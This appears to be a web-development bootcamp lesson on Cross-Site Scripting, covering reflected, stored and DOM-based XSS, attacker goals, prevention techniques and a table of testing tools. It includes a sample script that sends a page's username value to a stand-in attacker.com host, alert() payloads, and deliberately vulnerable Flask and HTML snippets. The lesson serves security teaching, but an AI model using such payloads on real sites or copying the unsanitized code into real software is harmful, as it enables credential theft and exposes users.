Self-paced

Explore our extensive collection of courses designed to help you master various subjects and skills. Whether you're a beginner or an advanced learner, there's something here for everyone.

Bootcamp

Learn live

Join us for our free workshops, webinars, and other events to learn more about our programs and get started on your journey to becoming a developer.

Upcoming live events

Learning library

For all the self-taught geeks out there, here is our content library with most of the learning materials we have produced throughout the years.

It makes sense to start learning by reading and watching videos about fundamentals and how things work.

Search from all Lessons


LoginGet Started
← Back to Lessons
Edit on Github

XSS (Cross-Site Scripting)

🎯 Attacking Google.com with Reflected XSS

🚨 EXTREMELY IMPORTANT! Before we start, XSS is the most important vulnerability of all, present in over 40% of websites 🌐. Let’s pay full attention not only to this vulnerability but also to the entire OWASP Top 10.

XSS1

Cross-Site Scripting (XSS) is when a website has unvalidated data inputs that allow an attacker to inject HTML, CSS, or JavaScript code into the target page. For example:

🎯 Attacking Google.com with Reflected XSS

If you look closely, when you use google.com to search for something like "What is XSS?", the search term you entered is added to the URL of the search results page as a "query string" as follows:

1https://www.google.com/search?q=what+is+xss

Any combination of characters we use to search becomes part of the search results URL and then becomes part of the <body> of the results page.

xss on google.com

πŸ’‰ Injecting Scripts into the Target Page

If we inject the text "What is XSS?" into the google.com page, we might be able to inject a JS script that opens a new modal:

1https://www.google.com/search?q=<script>alert('Hello World')</script>

πŸŽ‰ We have successfully included our code into Google's page! Click here to see it.

πŸ” Google.com is Protected Against XSS

The bad news is that, even though our code <script>alert('Hello World')</script> appears within the source code of google.com, it is not executing! πŸ˜•

Google is likely converting our code into harmless characters to prevent the web browser from interpreting it.

⚠️ Examples of More Malicious Scripts

A simple <script>alert('Hello World')</script> is harmless, but the following script would be much worse:

1<script> 2 window.location = "http://attacker.com/phishing-page?data=" + document.getElementById('username').value; 3</script>

This attack could be used to redirect users to a phishing page that appears legitimate but is controlled by the attacker. In the process, the attacker could steal the username or other sensitive information that the user entered on the original site. This could lead to credential theft or tricking the user into providing more information on the phishing page.

πŸ› οΈ What Does This Code Do?

  1. <script> Tag: The attacker injects a <script> tag into the web page. When the page loads, the victim’s browser will execute this script.

  2. 🚨 Malicious Redirection: The script uses window.location to redirect the user to a URL controlled by the attacker, in this case, http://attacker.com/phishing-page. The key part of this redirection is that the script also attaches sensitive data to the URL.

  3. πŸ”“ User Information Theft: The script gets the value of the input field with the ID username, which could be the username or other sensitive information that the user entered on the page. This value is attached to the phishing page’s URL and sent to the attacker’s server.

Other Types of XSS

πŸ—ƒοΈ Stored XSS

Imagine a social network where users can post comments on other users' profiles. These comments are stored in a database and displayed every time someone visits the profile.

Example of Vulnerable Code:

1@app.route('/post_comment', methods=['POST']) 2def post_comment(): 3 comment = request.form['comment'] 4 comments.append(comment) # Store comment without sanitizing 5 return "Comment posted" 6 7@app.route('/view_comments') 8def view_comments(): 9 comments_html = "".join(f"<p>{comment}</p>" for comment in comments) 10 return render_template_string(comments_html) # Vulnerable to XSS

Attack: An attacker can post a comment like the following:

1<script>alert('Stored XSS');</script>

When other users visit the profile page, this script will execute in their browsers, displaying an alert or performing some malicious action.

🧩 DOM-Based XSS

Scenario: A web page uses JavaScript to display URL content directly in the DOM as part of a feature that shows a personalized greeting.

Example of Vulnerable Code:

1<!-- HTML - Code that manipulates the DOM --> 2<!DOCTYPE html> 3<html> 4<head> 5 <title>Welcome</title> 6</head> 7<body> 8 <h1>Welcome</h1> 9 <p id="greeting"></p> 10 <script> 11 var greeting = "Hello " + window.location.search.substring(1); 12 document.getElementById("greeting").innerHTML = greeting; 13 </script> 14</body> 15</html>
http://example.com/index.html?name=<script>alert('DOM XSS');</script>

When this URL is opened, the victim's browser will execute the malicious script because the content of the name parameter is inserted directly into the DOM without being sanitized.

πŸ•΅οΈβ€β™‚οΈ What Can an Attacker Achieve with XSS?

An attacker can carry out various malicious actions through a Cross-Site Scripting (XSS) attack, depending on the type of XSS and the context in which the vulnerability is exploited. Below are some of the most common actions an attacker could achieve using XSS:

  • An attacker can use XSS to steal the user's session cookies, allowing them to impersonate the victim on the web application. With session cookies, the attacker can access the user's account and perform actions as if they were the victim.

2. πŸ–ΌοΈ Website Defacement:

  • The attacker can inject JavaScript code that modifies the visible content of the web page, altering text, images, or the page's structure to display offensive or misleading messages.

3. πŸ”— Phishing Redirection:

  • The attacker can redirect users to malicious websites, such as phishing pages, where users are tricked into entering their credentials or personal information.

4. πŸ‘€ Executing Actions on Behalf of the User (Clickjacking):

  • By manipulating forms or buttons, the attacker can execute actions on behalf of the user, such as sending messages, changing account settings, or making unauthorized transactions.

5. πŸ”Ž Access to Sensitive Information:

  • The malicious script can access confidential data on the page, such as form content or profile information, and send it to the attacker's server.

6. πŸ’» Loading and Executing External Malicious Code:

  • The attacker can inject code that loads external scripts from a server under their control, allowing the execution of malware or the exploitation of other vulnerabilities in the user's browser.

7. ⌨️ Keylogging:

  • Through XSS, the attacker can inject a keylogger, a script that records the user's keystrokes, capturing passwords, credit card numbers, and any other sensitive information the user types.

8. πŸ”“ Privilege Escalation:

  • If the attacker can execute scripts in the context of a user with elevated privileges (e.g., an administrator), they can perform administrative actions or access restricted features of the application.

9. πŸ”’ CSRF (Cross-Site Request Forgery) Attacks:

  • XSS can be used to facilitate CSRF attacks, where the malicious script causes the user's browser to make unwanted requests to another application where the user is authenticated.

10. 🌐 User Environment Information Collection:

  • The attacker can use XSS to obtain information about the user's environment, such as the browser type, operating system version, installed plugins, IP address, etc., which could be used in targeted attacks.

11. πŸ›‘ Denial of Service (DoS):

  • The attacker can create scripts that overload the web page or the user's browser, causing a Denial of Service (DoS) that affects the availability of the application for the user.

πŸ”’ How to Prevent XSS?

Preventing Cross-Site Scripting (XSS) attacks is crucial to protecting your web applications and users. Below are some recommended practices to prevent XSS in your applications:

1. 🚧 Escape HTML Content

Escape all data that is inserted into the HTML before rendering it on the page. This means converting special characters like <, >, &, and " into their corresponding HTML entities.

1from flask import escape 2safe_string = escape(unsafe_string)
1const escape = require('escape-html'); 2let safeString = escape(unsafeString);

2. πŸ›‘οΈ Use Templates That Automatically Escape

Use template engines that automatically escape inserted content. Most

modern frameworks, like Flask (with Jinja2), Django, Laravel (Blade), and Express (with EJS or Pug), escape content by default.

1{{ user_input }}
1<%= userInput %>

3. πŸ” Input Validation and Sanitization

Validate and sanitize user input to ensure it contains only what you expect. Remove or encode any unsafe parts.

1from wtforms import StringField 2from wtforms.validators import InputRequired, Length 3 4class MyForm(FlaskForm): 5 name = StringField('Name', validators=[InputRequired(), Length(max=100)])
1const { body } = require('express-validator'); 2 3app.post('/submit', [ 4 body('username').isAlphanumeric().trim().escape() 5], (req, res) => { 6 // Handle request 7});

4. πŸ“œ Use Content Security Policy (CSP)

Implement a Content Security Policy (CSP) to limit the sources from which scripts can be loaded. This helps mitigate XSS by blocking the execution of unauthorized scripts.

Example of CSP Header:

1Content-Security-Policy: default-src 'self'; script-src 'self' https://apis.google.com

5. πŸ” Use HTTPOnly and Secure on Cookies

Ensure that session cookies have the HttpOnly and Secure flags so that they cannot be accessed by JavaScript or transmitted over an insecure connection.

1response.set_cookie('sessionid', value=session_id, httponly=True, secure=True)
1res.cookie('sessionid', session_id, { httpOnly: true, secure: true });

6. ❌ Avoid Inline JavaScript and Events in HTML

Avoid using JavaScript code directly in HTML tags (<script>, onload=, onclick=, etc.). Use external script files or declare functions in a separate JS file.

🚫 Bad:

1<img src="image.jpg" onerror="alert('XSS')">

βœ… Good:

1<img src="image.jpg" id="image"> 2<script> 3 document.getElementById('image').addEventListener('error', function() { 4 alert('XSS'); 5 }); 6</script>

7. 🧹 Sanitization of HTML in User Inputs

If you must allow users to submit HTML (e.g., in a rich text editor), use a library that sanitizes the HTML and removes any dangerous code.

1from bleach import clean 2 3safe_html = clean(unsafe_html)
1const sanitizeHtml = require('sanitize-html'); 2let safeHtml = sanitizeHtml(unsafeHtml);

πŸ› οΈ Tools for Avoiding or Attacking with XSS

There are several tools used by security professionals and attackers to identify and exploit Cross-Site Scripting (XSS) vulnerabilities in web applications. These tools can automate the discovery process of XSS or facilitate the exploitation of existing vulnerabilities. Below are some of the most well-known tools for attacking with XSS:

Here is a comparative table of the main tools used to attack and detect Cross-Site Scripting (XSS) vulnerabilities:

πŸ”§ ToolπŸ“„ Descriptionβš™οΈ Main FeaturesπŸ“œ LicenseπŸ“Š Complexity Level
Burp SuiteProfessional tool for penetration testing in web applications.Automated XSS scanning, proxy, request modification, repeater.Commercial (limited free version)High
OWASP ZAPFree and open-source tool for security testing in web applications.Automated XSS scanning, proxy, fuzzing, and manual analysis.Open SourceMedium
XSSerSpecialized tool for detecting and exploiting XSS vulnerabilities.Detection and exploitation of XSS (stored, reflected, DOM), custom payloads.Open SourceMedium
BeEFAdvanced framework for exploiting compromised web browsers.Control of victim browsers, command execution, integration with other tools.Open SourceHigh
XSStrikeAdvanced tool for analysis, detection, and exploitation of XSS.Payload analysis, WAF bypass, manual and automated scanning.Open SourceMedium
SQLMapTool for SQL injection testing with limited support for XSS.SQL injection scanning and exploitation, integration with XSS.Open SourceHigh
wfuzzFuzzing tool for testing web applications, useful for finding XSS.Parameter fuzzing, support for custom lists (XSS payloads).Open SourceMedium
Google DorkingAdvanced Google search technique to find vulnerable applications.Public vulnerability search.-Low

πŸ“Š Table Summary:

  • Burp Suite: Ideal for security professionals who need a complete tool for penetration testing, although the free version is limited.
  • OWASP ZAP: A free alternative to Burp Suite, suitable for both beginners and experts.
  • XSSer: Specialized in XSS, suitable for those looking to exclusively detect and exploit XSS vulnerabilities.
  • BeEF: Powerful for controlling compromised browsers, ideal for advanced exploitation scenarios.
  • XSStrike: Advanced tool focused on detecting and overcoming XSS-related security mechanisms.
  • SQLMap: Although focused on SQL injection, it also offers capabilities for XSS exploitation.
  • wfuzz: Good option for fuzzing tests in web applications, including XSS detection.
  • Google Dorking: Useful technique for identifying publicly exposed XSS vulnerabilities, easy to use.

Each tool has its strengths and is suited to different needs and experience levels, from beginners to advanced cybersecurity professionals.